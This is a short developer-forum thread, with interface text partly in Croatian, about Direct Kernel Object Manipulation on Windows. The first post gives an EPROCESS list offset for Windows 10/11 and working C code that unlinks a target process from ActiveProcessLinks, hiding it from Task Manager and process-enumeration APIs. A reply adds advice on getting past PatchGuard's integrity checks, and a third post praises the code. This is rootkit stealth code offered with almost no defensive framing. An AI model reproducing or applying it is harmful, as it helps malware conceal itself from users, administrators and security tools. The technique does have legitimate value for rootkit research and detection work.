Developer knowledge network · moderated exchange

Zajednica UnreliableCode

Zajednica za istraživanje, obrnuti inženjering i programiranje programera

Knowledge indexŽivjeti
4Categories
919Threads
2.8KPostovi
Podforumi Leaderboard Prijavite se za objavljivanje
Analysis

DKOM: Unlinking EPROCESS from ActiveProcessLinks in Windows Kernel

kernel_komrade
Driver Dev
MEMBER
Rep: 145
Datum pridruživanja: Feb 2019
Postovi: 26
Hvala: 45
prije 1 mjeseci · Jun 29, 2026 1:48 PM
#1

How Direct Kernel Object Manipulation (DKOM) hides processes from Task Manager:

  1. Locate target EPROCESS structure.
  2. EPROCESS.ActiveProcessLinks is a circular doubly-linked list (LIST_ENTRY at offset 0x448 on Windows 10/11).
  3. Unlink the process node:
C
PLIST_ENTRY pCurrent = &pTargetEProcess->ActiveProcessLinks;
PLIST_ENTRY pPrev = pCurrent->Blink;
PLIST_ENTRY pNext = pCurrent->Flink;
pPrev->Flink = pNext;
pNext->Blink = pPrev;
// Point unlinked entry to itself to prevent crashes on process exit
pCurrent->Flink = pCurrent;
pCurrent->Blink = pCurrent;

Target process disappears from CreateToolhelp32Snapshot and EnumProcesses instantly!

stack_smasher
Kernel Explorer
MEMBER
Rep: 111
Datum pridruživanja: Feb 2019
Postovi: 30
Hvala: 18
prije 1 mjeseci · Jun 29, 2026 8:25 PM
#2

Remember that PatchGuard periodically verifies ActiveProcessLinks integrity, so unlinking must be temporary or done through hypervisor SLAT.

bypass_bravo
Member
MEMBER
Rep: 150
Datum pridruživanja: Jan 2022
Postovi: 2
Hvala: 28
prije 1 mjeseci · Jun 30, 2026 9:59 AM
#3

Classic DKOM technique. Clean C code.